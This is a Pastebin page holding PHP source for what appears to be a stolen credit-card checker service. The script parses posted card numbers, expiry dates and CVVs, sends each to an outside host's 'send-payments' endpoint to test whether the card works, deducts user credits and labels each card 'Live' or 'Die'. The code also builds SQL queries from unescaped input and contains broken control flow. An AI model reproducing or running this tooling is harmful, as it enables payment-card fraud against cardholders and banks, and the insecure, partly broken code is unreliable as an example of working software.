Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- session_start();
- error_reporting(0);
- {
- echo '{"error":-1,"msg":"Error! Please contact admin!"}';
- break;
- }
- $email = $_SESSION['email'];
- include('../account/login/auth.php');
- $email = $_SESSION['email'];
- $query = "SELECT * FROM user WHERE email='$email'";
- $exe = mysql_query($query);
- $no = 1;
- while($row = mysql_fetch_assoc($exe)){
- $credits = $row['credits'];
- }
- $email = $_SESSION['email'];
- $ccnum1 = $_POST['cclist'].'|';
- $ccnum1 = str_replace("Live","",$ccnum1);
- $ccnum1 = str_replace("LIVE","",$ccnum1);
- if ($ccnum1 == 0) {
- header('location: http://kibh.club');
- break;
- }
- $ccnum1 = str_replace(" ","",$ccnum1);
- $potong = str_replace("|","",$ccnum1);
- $jumlah = strlen($potong);
- $cc = substr($potong, 0, 1);
- if ($cc == 4) {
- if ($jumlah > 24) {
- $num = substr($potong, 0, 16);
- $expm = substr($potong, 16, 2);
- $expy = substr($potong, 18, 4);
- $cvv = substr($potong,22);
- }
- if ($jumlah < 24) {
- $num = substr($potong, 0, 16);
- $expm = substr($potong, 16, 2);
- $expy = '20'.substr($potong, 18, 2);
- $cvv = substr($potong,20);
- }
- }
- if ($cc == 5) {
- if ($jumlah > 24) {
- $num = substr($potong, 0, 16);
- $expm = substr($potong, 16, 2);
- $expy = substr($potong, 18, 4);
- $cvv = substr($potong,22);
- }
- if ($jumlah < 24) {
- $num = substr($potong, 0, 16);
- $expm = substr($potong, 16, 2);
- $expy = '20'.substr($potong, 18, 2);
- $cvv = substr($potong,20);
- }
- }
- if ($cc == 3) {
- if ($jumlah > 24) {
- $num = substr($potong, 0, 15);
- $expm = substr($potong, 15, 2);
- $expy = substr($potong, 17, 4);
- $cvv = substr($potong, 21);
- }
- if ($jumlah < 24) {
- $num = substr($potong, 0, 15);
- $expm = substr($potong, 15, 2);
- $expy = '20'.substr($potong, 17, 2);
- $cvv = substr($potong, 19);
- }
- }
- $ccnum = explode('|', $ccnum1);
- $format = $num.'|'.$expm.'|'.$expy.'|'.$cvv;
- $hasil = file_get_contents('http://www.kibh.club/api/send-payments.php?ccn='.$num.'&ccm='.$expm.'&ccy='.$expy.'&cvv='.$cvv);
- $a = json_decode($hasil, true);
- $b = $a['status'];
- if ($b == 1) {
- $aq = mysql_query("UPDATE `user` SET `credits`=credits-1 WHERE email='$email'");
- while($row = mysql_fetch_assoc($exe)){
- $credits = $row['credits'];
- }
- $credits = $credits-1;
- echo '{"error":0,"msg":"<font color=green><b>Live</b></font> |'.$ccnum1.' [CRE:'.$credits.']"}';
- break;
- } if ($b == 2) {
- echo '{"error":2,"msg":"<font color=red><b>Die</b></font> |'.$ccnum1.' [CRE:'.$credits.']"}';
- break;
- } if ($b == 3) {
- echo '{"error":-1,"msg":"<font color=purple><b>Unknown</b></font> |'.$format.'"}';
- break;
- }
- echo '{"error":-1,"msg":"<font color=blue><b>Api Key Expired</b></font> |'.$format.'"}';
- break;
- ?>
Add Comment
Please, Sign In to add comment